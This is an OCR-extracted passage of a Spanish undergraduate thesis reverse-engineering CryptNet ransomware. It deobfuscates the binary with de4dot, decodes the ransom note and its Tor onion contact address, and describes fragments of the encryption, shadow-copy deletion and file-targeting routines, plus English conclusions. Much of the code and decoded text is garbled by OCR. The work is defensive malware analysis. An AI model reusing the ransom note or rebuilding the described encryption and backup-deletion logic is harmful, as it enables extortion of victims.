publication. Contact us if you wan

I .. U:
‘We are going to publis

yd.onion,

Thanks you for contacting us. We have received your
inquiry and we will do our best to repond to you in 20
minutes. While you wait, we invite you to visit our -
BLOG SITE - where you can access information about
other companies and their files.

You 2023-09-02

1y
Devolvedme mi TFG (| ﬂ s
X

4

Figura 30. Chat de soporte en la web de recuperacién de archivos



4.2.3 Andlisis técnico

Al tratarse de un malware escrito en .NET utilizaremos la herramienta dnSpy, que

nos permitird ver el cédigo del ejecutable y depurarlo en caso de que sea necesario.

O encrypt (1
F |

bz pE
P =B Type References

b =B References
b Bl Resources
b{}

B} ¢

b{}

P{}

P}

i}

Figura 31. estructura de cryptnet.exe protegido por .NET Reactor

Nada mds abrir el archivo en dnSpy es posible comprobar que el nombre
asignado al ejecutable es encrypt.exe (Figura 31) lo que da una idea de poco sigilosos
pueden llegar a ser sus creadores. Tras ver el entry point se puede encontrar un mensaje
que indica que el archivo estd protegido por una version demo de .NET Reactor (Figura
32).

Figura 32. Mensaje de aviso de la proteccidn de la version demo de .NET Reactor
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Al tratarse de una version demo de .NET Reactor es incluso posible encontrar

algunas funciones sin proteccion alguna (Figura 33):

Figura 33. Funciones sin ofuscar

Tras una rdpida busqueda de informacion, es posible encontrar la herramienta
lamada NET Reactor Slayer'é, un “desofuscador” de codigo abierfo que permite

obtener el coddigo protegido por .Net Reactor.

La herramienta cuenta con una sencilla interfaz del cldsico look “herramienta
hacker” (Figura 34) y tras pasar por ella nuestro cryptnet ofuscado con .NET Reactor,

conseguiremos un crypnet_slayed ya con una estructura mucho mas clara (Figura 35):

%, Netreacter

Completed

Figura 34. Uso de .NET Reactor Slayer

16 hittps://github.com/xIfj5211/NetReactorSlayer
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Figura 35. Estructura de cryptnet arriba y cryptnet_slayed abagjo

Ahora si, ya es posible obtener un main, por desgracia al comprobar su contenido
se observa que esta vez tiene una ofuscacidn de strings lo que requerird ofro

desofuscador (Figura 36).

[1 args)

Figura 36. Main de cryptnet_Slayed
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En este caso se puede utilizar deddot'?, ofro desofuscador que permite descifrar
strings dindmicamente. Para ello, el comando carga en memoria el archivo y cuando
detecta acceso a la funcion especificado, creard una funcién dindmica y guardard el
resulfado. Al cargar y ejecutar cddigo que no se conoce con exactitud su
funcionamiento, mds aun siendo malware, es muy importante hacer este proceso en

una maquina virtual.

Los strings estdn ofuscados con las funciones smethod_15, smethod_14 vy
smethod_9 asi que obteniendo sus respectivos tokens se usardn con deddot para
obtener su contenido. Se hard sucesivamente con cada funciéon introduciendo los

siguientes comandos y renombrando el archivo resultante:
de4ddot cryptnet_Slayed.dll —strtyp emulate —strtok 0x0600003B
de4dot cryptnet_Slayed-cleaned.dll —strtyp emulate —strtok 0x060000 14

de4dot cryptnet_Slayed-cleaned-cleaned.dll —strtyp emulate —strtok 0x0600000E

Para evitar tener un nombre de archivo extremadamente largo, se renombra

cryptnet_Slayed-cleaned-cleaned a cryptnet_limpito.

Figura 37. Main resultante de de4dof_limpito

17 https://github.com/de4dot/de4dot
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Ahora ya es posible ver el contenido de los strings, el texto que aparece es el

siguiente (Figura 37):

https://www.torproject.org/download/

http://cryptr3dfmuv4disuiczofjuypopré3x2gltisvhur2ump4ebru2xd3yd.onion

Justo el mismo texto que aparece en el archivo TXT.

Como es posible editar las variables, se renombrardn de forma que sea mds

legible analizar el coédigo, en este caso, se llamard “textoDeAviso”. Pulsando sobre la

variable se puede comprobar que también se encuentran otros strings relevantes como

una especie de ID y el texto que aparece en el fondo de pantalla, que también para su

posterior lectura se renombrard a “textoFondoPantalla”.

También se puede encontrar un array de strings (Que se renombrard a

“extensionesAEncriptar”) con lo que se intuye faciimente que son las extensiones de los

archivos que hay que encriptar. A continuacion, se muestra una lista de ellas:

.doc
.indd
.dif
.Tzip
.Vss
-mpg
.java
.pst
.svg
.3fr

.myd .ndf .gry .sdb .sdf .tmd .tgz .lzo .txt .jar .dat .contact .settings

.docx .xls .xlsx .ppt .pptx .odt .jpg .mka .mhtml .ogy .png .csv .py .sqgl

.cs .mp3 .mp4 .dwg .zip .rar .mov .rtf .bmp .mkv .avi .apk .lnk .dib .dic

.mdb .php .asp .aspx .html .htm .xml .psd .pdf .xla .cub .dae .divx .iso

.pdb .ico .pas .db .wmv .swf .cer .bak .backup .accdb .bay .p7c .exif

.raw .md4a .wma .ace .arj .bz2 .cab .gzip .lzh .tar .jpeg .xz .mpeg .torrent
.core .flv .sie .sum .ibank .wallet .css .Jjs .rb .crt .xlsm .xlsb .7z .cpp

.jpe .ini .blob .wps .docm .wav .3gp .gif .log .gz .config .vb .mlv .sln

.obj .xlam .djvu .inc .cvs .dbf .tbi .wpd .dot .dotx .webm .mdv .amv .m4dp
.ods .bk .vdi .vmdk .onepkg .accde .jsp .json .xltx .vsdx .uxdc .udl .3ds
.392 .accda .accdc .accdw .adp .ai .ai3 .aid4 .aib5 .ai6 .ai7 .ai8 .arw .ascx
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.asm .asmx .avs .bin .cfm .dbx .dcm .dcr .pict .rgbe .dwt .f4v .exr .kwm .max
.mda .mde .mdf .mdw .mht .mpv .msg .myi .nef .odc .geo .swift .odm .odp .oft
.orf .pfx .pl2 .pl .pls .safe .tab .vbs .xlk .xIm .xlt .xltm .svgz .slk .tar.gz
.dmg .ps .psb .tif .rss .key .vob .epsp .dc3 .iff .opt .onetoc2 .nrw .pptm .potx
.potm .pot .xlw .xps .xsd .xsf .xsl .kmz .accdr .stm .accdt .ppam .pps .ppsm
.lcd .p7b .wdb .sqglite .sglite3 .db-shm .db-wal .dacpac .zipx .lzma .z .tar.xz
.pam .r3d .ova .lc .dt .c .vmx .xhtml .ckp .db3 .dbc .dbs .dbt .dbv .frm .mwb
.mrg .txz .mrg .vbox .wmf .wim .xtp2 .xsn .xslt

Junto con esta informacion se localizan dos strings mds, uno que empieza por
RSAKeyValue, por lo que se puede suponer es la clave RSA (y que a juzgar inicialmente
por los datos aportados por dnSpy, parece estar escrita directamente en el cédigo y no
se crea aleatoriomente (Figura 38) y ofro string que acaba con dos “=", lo que
normalmente significa un texto en baseé4. Se renombran estos strings (Figura 39), y desde

Cyberchef!8 se comprueba el significado del texto en baseé4.

Analyzer

Figura 38. Usos y asignacion de la clave RSA

18 hitps://gchg.github.io/CyberChef/
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Figura 39. Strings correspondientes a la clave RSA y texto en base64

Input + O=2] 9§ &=

WqKiogIENSWVBUTKVUIFIBTINPTVdEUkUgKiogDQoNCi8tLSEXaGFEIGhhcHBlbmVkPyATLS@NCkFsbCBYZiB5b3VyIGZpbGVZIGFYZSElbmhyeXBBZWQgYWSkI
HNeb2x1bi4gU3RvbGVUIGRhdGEgd21sbCBiZSBwdl] saXNoZWQgc29vbgeKb24gb3vy IHRvC1B3ZWIzaXR1LiBUaGVYZSBpcyBubyB3YXkgdGBgemyjb3Z1ciBgs
b3VyIGRhdGEEYWSkIHEYZXZ1bnQgZGFaYSBsZWF ryWdl IHdpdGhvdXQgdXMNCkR1Y3I5cHRpb24gaXMgbma@ THE v 2NpYmx 1 THdpdGhvdXQgcHI pdmF@ZSBrIxk
uIERvbid@IHdhc3R1IH1vdXIgYWskIGI1ciB@aW11IHRVIHI1Y2927XIgeW91ciBmalxlcy4gDQpldCBpcyBpbXBvc3NpYmx1IHdpdGhvdXQgb3VyIGh1bHANCE
BKLSetIEhvdyBebyByZWNvdmVyIGZpbGVzICYgcH] ldmVudCBsZWFrYlWd1PyAtLSBNCIRvIG1ha2Ugc3VyZSBaaGFeIHdIIFIFQUxMWSBDQUAgemyib3Z1ciBsh
WyIGRhdGEgLSB3ZSBvZImZ1ciBGUKVFIERFQLIZUFRITO4gZm9y IHdhcnIhbnRSLIANCId1IHBYb21pc2UgdGhhdCBSb3UgY2FuIHI1Y292ZXIgYlixsIH1vdXIg
ImlsZXMgc2FmZWxSIGFUZCBwemyV2ZWS8IGRhdGEghbGVha2FnZS4gV2UgY2 FuIGRvIG1BIQeKDQotLSegQ29udGF jdCBY cy@tLQaKRGS3bmxvYWQEVGIYIEIyb3d
zZXIgLSBodHRwczovL3d3dy58b3 JwcmSqZWNeLmOyZyokb3dubGohZC8gYWokIGluc3RhbGwgaXQNCkowZndgd2Vic218ZTogIGh8dHAGLySjenlwdHIzZm11d]
RkaTvlalheb2ZgdX1lwb3ByNjNAMmdsdGxzdmhicjI11bXASZWIydTJ4ZDNSZC5vbmlvbgek RWESBZXIgREVDULIQVEIPTiBIRDogICNIRCMHNCIAgICAgICAGICAGT
A=<

mc 1118 = 1 Tr Raw Bytes &= LF

Output R0mE::

Zd 4 ¢ ¢ 5% e oD EUBeoFocs 3480 S Rers g D DEOO0enq » sreBack» ersee
TFSAVAsckFersFoczzaiv o ERucBRaz en VB s 60 VB2 6655 | isn k
BUFVCBackF ersFoczaceV:
" ee F o DRez Fiize BV62
O0DD¥FOeckDsvu Ree TWERe: F o

st VEVC D=7 O0DDH v Rackdbses o +0 " sccF o AW 2screraBRackVET ' » 52 FVBacksv@Bee 7 F GAVE&en
SevaF o WERacks 2eck@BezcVers o ee F Doz BVE I "

scxFereFocaacksvi®@Baerzel

Ve FethBez WODHFVT " scerF o G8scke 2ackd@+B +W" scksva@Back

sorF @ B2 Anu DMe Bacis 2uck ® Xacr 2760 &R ee " sk oV DEDO0:ore 2ree FOee BVELFW " scicf o EW2srxbeeree BNFYC Bace
VRena$ ToceBh o cordloc: Bee  BVE-FIN" eee o 2W " sexFersFoczemeOee WRackBF FW " cor@ $ TReorD T 5% 0 evaD o B Ascif
L&l e BRex TeBe et EW2ee BV # ackzvm@Be
BOCFzm7Boal200DDEF +vaf0:mBecF " tor ' 8wl s e GGea 3¢ Dvr CF+ "2 &6 | VT B2 &P OF sVt Bdscken@Back e (7F
sexs GGern(OBT ' »ex GEETUWCFF o bV o7 | 6T scrszc BT e QUCFCTF o l#  WixerFV ' 'S« (7« Babime 53DEVCFW" corDT5% e evaDe B8z # C ¢ sresmad » BBDE sriam

STHNUL

EEL®

Were " Bvn

RackBsvuBacxF Qacre

Figura 40. Resultado del texto en baseé4

El resultado del texto en baseé4 no arroja inicialmente ninguna informacién, lo
que puede significar que el texto esté modificado (Figura 40). Como se ha visto
anteriormente, en dnSpy es posible encontrar las funciones que usan determinadas

variables pulsando sobre analyze. Esta variable solo es usada en la funcidon smethod_15.
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Las funciones se irdn renombrando para facilitar su entendimiento, en este caso

“obtenerTextoAvisoConID", que crea el texto par el aviso de rescate (Figura 41):

Figura 41. Funcién obtenerTextoAvisoConID

Segun la funcidn, se toma el texto en baseé4 desde la segunda posicion
(contando desde el cero) y se toman X caracteres donde X es la longitud del texto
menos dos, lo que equivaldria a quitar los dos primeros caracteres del texto (linea 534).

Si volvemos a Cyberchef, nos encontramos con un texto ya legible (Figura 42):
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Input + O 0§ =

|K:|'.0qIENSL'.'VBUTl-c\.-'UIFJBTlNPTVdBUkUgKiDqDQONCiGt LSBXaGF@IGhhcHElbmVkPyATLSBHNCKFsbCBVZiBSb3VYyIGZpbGeVz IGFyZSE1bmiy eXBRZWQgYWSKIHN
8b2x1bidgU3RvbGVUIGRhAGEEd21sbCBiZSBwdWIsaXNoZWQgc29vbgeKb24gb3VyIHRvCiB3ZWIzaXR1L1BUAGVYZSBpcyBubyB3YXkgdG8gemvib3Z1ciBsh3
VyIGRhdGEEYWSKTHBYZXZ1bnQgZGFEYSEsZWF rYlid1 THdpdGhvdXQgdXMNCKR1Y3I5cHRpb24gaXigbme@THEY c 3NpYmx 1 THdpdGhvdXQgcHIpdmFRZSBrIXkul
ERvbid@IHdhc3R1IHIvdXIgYWSkIGO1ciBBal11IHRVIHI1Y2927 XTI geliolciBmakxlcy4gD0pldCBpcyBpbXBvc3NpYmx1IHdpdGhvdXQgb3VyIGh1bHANC g8k
LSetIEhvdyBebyByZuWNvdmyyIGZpbaVzICYgcHI 1dmVudCBsZWFrYWd1PyAtLSENCIRvIG1ha2Ugc3VyZSEBaGFRIHd1IFIFQUxMWSEDQUAgemVib3Z1ciBsh3V
yIGRhdGEgLSB3ZSBvIMZ1ciBGUKVFIERFQLIZUFRITE4gZmoyIHdhcnIhbnRSL1IANC1d1THEBYb21pc2UgdGhhdCBSb3UgY2FulHI1Y2927XIgYxs IHlvdXIgZm
1sZXMgc2FmZWx5IGFUZCBwCcmY2ZW58IGRhAGEgbGVha2 FnZS4gV2UgY2FulGRvIG1EIQeKDQotLSegQ22udGF jdCBYV cyetLQBKRGE 3bmxvyWQgVaeyIEIyb3dzZ
XIglLSBodHRwczovL3d3dySeb3IucmagZWNeLmoyZyokb3dubGohZC8gYWSkIGluc3RhbGwgaXQNCkowZWAgd2Vic218ZTogIGhedHAELY 9 cnlwdHIzZml1d Rk
aTVlalWNeb2ZqdX1wb3ByNjN4Mmdsdaxzdmhlc}I1bXABZWIydTI4ZDNSZC5vbmlvbg@KRWS@ZXIgREVDULIQVEIPTiBIRDogICNIRCMNCIAgICAEICAgICASTIA=

mc 1183 = 1 Tr Raw Bytes &= LF

Output R0m®:

|"""* CRYPTHET RANSOMWARE *** s

R

--- What happened? ---c

All of your files are encrypted and stolen. Stolen data will be published soonc

on our tor website. There is no way to recover your data and prevent data leakage without uscs
Decryption is not possible without private key. Don't waste your and our time to recover your files. o
It is impossible without our helpee

R

--- How to recover files & prevent leakage? ---:=

To make sure that we REALLY CAN recover your data - we offer FREE DECRYPTION for warranty. o
tle promise that you can recover all your files safely and prevent data leakage. We can do it!e
R

--- Contact Us---c=

Download Tor Browser - https://www.torproject.org/download/ and install ite

Open website: http://cryptr3ifmuvddisuiczofjuypopré3x2gltlsvhur2umpdebrulxd3yd.onione

Enter DECRYPTION ID: #ID#cs

Figura 42. Texto en baseé4 ya correctamente decodificado

Lo que resta de la funcion, pasa el texto desde baseé4 y sustituye #ID# conla ID
(linea 535).

Nota importante: La ID deberia ser generada de manera aleatoria, pero al haber
obtenido estos strings mediante de4dot, se han generado los que obtuvo el programa

en ese momento.

En ofra de las funciones que se usan encontramos un array con nombres de varios
servicios y un bucle que los va parando (Figura 43), y otra que hace o mismo con una

lista de procesos (Figura 44):
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name array)

ontraller

Figura 43. Servicios a parar por el malware

[ ame )




[]1 array

array)

process

Figura 44. Procesos a parar por el malware

(processName ) )
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Todos estos servicios y procesos suelen ser cerrados por el ransomware para que

esos archivos, que estaban bloqueados por ellos al estar abiertos, queden liberados y se

puedan cifrar.

Desde la linea 368 se encuentra una funcidon destinada a crear el fondo de

pantalla (Figura 45):

bounds = Sc
width = bounds.
height = bounds
Bitmap bitmap =

num2 = height /

( s

graphics
num2 += nu

[1 string_7)

(width, height);

(bitmap))

string_7)

g(s, font, brush, (ef, ( ynum2,

Figura 45. Funcién crearFondoPantalla

Jwidth, ( ynum), stringFormat);

En las dos siguientes funciones (Figura 46), shadowStop llama a cmdShadowStop

tres veces, su objetivo es borrar las copias de seguridad como la shadow copy [26] [27].
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string_7)

Figura 46. Funciones encargadas de borrar las copias de seguridad

Las siguientes funciones son las encargadas de encriptar la informacion, la ahora
llomada RSAencripta (Figura 47), se encarga de encriptar en RSA lo recibido por

parametro, serd usada por dos funciones que analizaremos justo después.

string 7, []1 byte 1)

r rsacryptoServiceProvider =

rsacryptoserviceProvider. Fromxml (string_7);
result = rsacryptoServiceProvider.Encrypt(byte_1,

result;

Figura 47. Funcién que encripta en RSA

AESencripta (Figura 48) es una de las funciones principales de la encriptacion de
archivos, en este caso el ransomware utiliza encriptacién AES modo CBC con una clave
de 256bit y vector de inicializacién. Las claves se encriptan mediante RSA usando la

funcion RSAencripta (lineas 270-273) y se escriben al final del archivo (lineas 296-299)
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string 7)

+ text2);

A,
n{string_7, FileMode. , FileAccess.

CipherMode.
ryptoStream Cry am(memoryStream, aes.C

cryptoStream.Write(array, @, array.
3}
array2 = memoryStream.T
i
X
fileStream.ur

(Fi . Ei ,» FileAccess.

Figura 48. Funcién de encriptacion AES

), CryptoStreamMode.

Para los archivos grandes se usan las funciones a las que se les ha dado el nombre

de AESpadding y AESencriptaGrande (Figura 49), las cuales tienen un funcionamiento

similar a AESencripta, solo que aplicando padding [28].
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string 7, int_a8, int_1, long_8, long 1)

» Filefccess.
fileStream.

[]1 array =
fileStream.

[1 arra
fileStream.
fileStream.
fileStream.

[1 array3
fileStream. Read(

[]1 arrayd = C -
fileStream. = long B8;
fileStream.Write(arrayd, @, arrayd.
fileStream. = long 1;

[]1 arrays = [int_8];
fileStream. (arrays, @, inmt_@);

[]1 arrays = C (text, text2, arrays);

(text, text2, arrayi);

fileStream. = long 1;
fileStream.Write(array6, @, arrays. 115

(F sam fileStream? = ileStream{string 7, FileMode.

fileStream2 . Writ - » 8, Class@. - IlA

[ ( string 8, []1 byte 1)

[]1 result;

I cryptoTransform = aes
result = cryptoTransform.

result;

Figura 49. Funciones de encriptacion AES para archivos grandes

En las siguientes lineas se encuentra la funcién que da nombre a la nota de

instrucciones haciendo uso de la id asignada (Figura 50):
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Figura 50. Funcién que da nombre al archivo de rescate

La funcidn noTocar (Figura 51) a primera vista solo parece meter los nombres de
archivos criticos del sistema en un array, lo que podria indicar que se usard para mas
tarde comprobar si el archivo a encripta es uno de esos y evitarlo en caso de que sea
cierto ya que el atacante no quiere inutilizar el ordenador. Mds tarde, en la linea 107 se

confirmard esta conjetura.

string 7)

c_ D a CS$<>8_ localsil

CS$<>8  localsi. = string_7;

C5%<>8  localsl.st C5%$<>8_ localsl.string 8.To
[1 array = (1

>(array,

Figura 51. Funcién noTocar

La funcidn bucleDeEncriptacion (Figura 52) se encarga de encriptar los archivos
del directorio dado, comprobando que no sea un archivo critico con la funcién noTocar.
Tras esto, si el archivo estd en solo lectura intenta cambiarlo y segin el tamano del

mismo, utiliza la funcidén AESencripta o AESencriptaGrande.
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string 7)

(string 7);

path - striag ¥

(path))

(string 7);

Figura 52. Funcién del bucle de encriptacion

La Ultima funcién, llamada encriptacionMain (Figura 53), comprueba todos los
discos duros, y saltdndose los directorios criticos establecidos por un array, inicia el

proceso de encriptacién en cada directorio usando multiples hilos.
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briveInfo[] drives = DriveInfo
{ i=8; i« drives.

C5%es8  localsl.
pathRoot = .
{1({C5%<>8_ localsl. .TaString() == pathRoot))

i
k task = Task. StartNew( Action({C5$«<>8__ localsl.met

[1 array =

[1 directories =
[1 array? = directories;
j =8; j <« arrayl.
i locals2 =

Predicate« »(C5%<>8  locals2.m

New( Action(CS%<>8  locals2.method

Figura 53. Funcién principal de la encriptacion

Por Ultimo, la estructura final con las funciones y variables renombradas (Figura

54) y la funcién main (Figura 55) quedaria asi:
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IIII:I HII‘:I Ill't:I Ill't:I I:;t:I [|t. l:ult:I |:|'t:I

Type and Interfaces

Figura 54. Estructura final

Figura 55. Main final
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Capitulo 5 - Conclusiones y trabajo futuro

Los resultados de las busquedas realizadas en el estado de la cuestion, parece
indicar claramente la gran desproporcion entre los trabajos realizados sobre ingenieria
inversa de software en el dmbito académico y en el dmbito profesional, lo que podria
ser una indicacion de la gran complejidad de este tema, y la dificultad de abordarlo
durante los estudios de grado, pero por otro lado, también indica el gran interés que
hay en el mundo profesional debido a los grandes riesgos que supone el malware, y la

necesidad de contar con técnicas y profesionales que sean capaces de combatirlos.

Durante el desarrollo del presente trabajo de fin de grado se ha podido
comprobar que la ciberseguridad es un dmbito no solo muy complejo sino también muy
amplio. Se requiere una gran implicacién de los profesionales de ciberseguridad para
estar al dia en las nuevas tendencias que surgen ya que cada caso presenta unas
condiciones y especificaciones que resultan distintas a las vistas anteriormente, siendo
totalmente necesario aprender nuevas tecnologias o herramientas y hacer uso continuo

de la documentacion.

Este pensamiento sobre la rapidez en la que evoluciona la ciberseguridad lo
refuerzan los multiples portales de noticias sobre este tema, como TheHackerNews'? o
CheckPoint Research?, que confinuamente publican novedades y que son totalmente

necesarias de conocer para cualquier profesional del sector.

Por suerte, una de las aptitudes de las que dota el grado de ingenieria de
software, es preparar al estudiante para ser capaz de hacer frente a los nuevos desafios
propuestos por la informdtica. Gracias a esto, durante el proceso de experimentacion
del trabajo de fin de grado, se han ampliado en gran medida los conocimientos que se
obtuvieron en las fases anteriores del trabajo ya que la situacion asi lo requeria. Una vez

acabada la fase de experimentacion se ha podido comprobar que no existen unos

19 hitps://thehackernews.com/

20 hitps://research.checkpoint.com/

65



pasos fijos en el andlisis de malware y que lo mds importante es la experiencia y la

creatividad.

Trabajo futuro

Este trabajo sirve como iniciacion en el reversing y andlisis de malware, el cual
podria ampliarse para tener un mayor entendimiento de los distintos tipos de malware y

los lenguaijes y técnicas a enconfrar durante un andlisis.

Desde el punto en que se encuentra la tecnologia actualmente seria interesante
poder realizar auditorias haciendo uso de la computacién cudntica y la inteligencia
artificial donde companias como IBM ya estdn empezando a preocuparse de estos
temas [29] [30].
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Infroduction

Motivation

Cybersecurity is an increasingly important issue in our society. As the use of
technology increases, so does the number of cyber risks that can affect both individuals

and companies.

One of the techniques used to combat these threats is reverse engineering
applied to cybersecurity or reversing. Reversing refers to the study of malicious code in

order to know and identify the vulnerabilities used to infect a system.

Reversing is one of the fields of cybersecurity that is least discussed when starting

out, which adds an additional level of complexity to this field.

Goals

This final degree project aims to understand the functioning of malware, in order
to be able to carry out a reverse engineering process in software, specifically in the
cybersecurity part, more commonly known as reversing, and to serve as training to get

started in the world of reverse engineering.

To achieve this, the work will focus on experimentation which will involve
performing a technical analysis that implements the investigated techniques and then
developing a proof of concept to be run in a controlled environment to test the

operation of the malware.
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Work plan

The different phases of the project and the time spent in each of them can be

summarised in the following Gantt chart:

DURATION OF THE PROJECT

ACTIVITIES FEBRUARY |MARCH AUGUST

112|3(4|1|2|3|4(1|2|3|4|1|2|3|4|1(2|3|4|1(2|3|4|1|2(3|4

Initial approach

Research

Development

Experimentation

Preparation of the
dissertation report

The following is a summary description of the different phases of the work plan:

Initial approach: During this first phase, the main objective of the final degree
project was defined, and an estimation was made of the resources and estimated fime

for its development.

Research: In this second phase, a search for information regarding assembly
language and reverse engineering was carried out, especially determining the tools that
could be used and obtaining various materials that could be useful found in different

sources.

Development: The development part focused on making use of these materials
and initiating a learning phase in reverse engineering without being entirely focused on

cyber security.

Experimentation: This last phase before writing the dissertation consisted of
carrying out the techniques obtained in the previous phases with real malware case

scenarios.
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Preparation of the dissertation report: Finally, the dissertation report was prepared
in accordance with the dissertation regulations and with the indications of the directors

of the dissertation.

Although the times are those shown in the Gantt chart, we can consider that the
phases of research, development and experimentation have been maintained to a

greater or lesser extent throughout the development, iterating constantly.
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Conclusions and future work

The results of the searches carried out in the state of the art clearly indicate the
great disproportion between the work carried out on software reverse engineering in the
academic and professional spheres, which could be an indication of the great
complexity of this subject, and the difficulty of tackling it during undergraduate studies,
but on the other hand, it also indicates the great interest in the professional world due to
the great risks posed by malware, and the need for techniques and professionals who

are capable of combating them.

During the development of this final degree project, it has become clear that
cybersecurity is a field that is not only very complex but also very extensive. It requires a
great involvement of cybersecurity professionals to keep up to date with the new trends
that emerge as each case presents conditions and specifications that are different from
those seen previously, being absolutely necessary to learn new technologies or tools and

to make continuous use of documentation.

This idea about the speed at which cybersecurity is evolving is reinforced by the
many news portals on this subject, such as TheHackerNews?! or CheckPoint Research?z,
which continually publish news and which are absolutely necessary for any professional

in the sector to be aware of.

Fortunately, one of the skills that the degree in software engineering provides is to
prepare the student to be able to face the new challenges proposed by computer
science. Thanks to this, during the experimentation process of the final degree project,
the knowledge obtained in the previous phases of the project was greatly expanded, as
the situation required it. Once the experimentation phase was over, it became clear that
there are no fixed steps in malware analysis and that the most important thing is

experience and creativity.

21 https://thehackernews.com/

22 hitps://research.checkpoint.com/
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Future Work

This work provides an infroduction to malware reversing and analysis, which could
be extended to provide a better understanding of the different types of malware and

the languages and techniques to be found during an analysis.

From the current state of technology it would be interesting to be able to perform
audits using quantum computing and artificial intelligence where companies such as IBM

are already starting to address these issues [29] [30].
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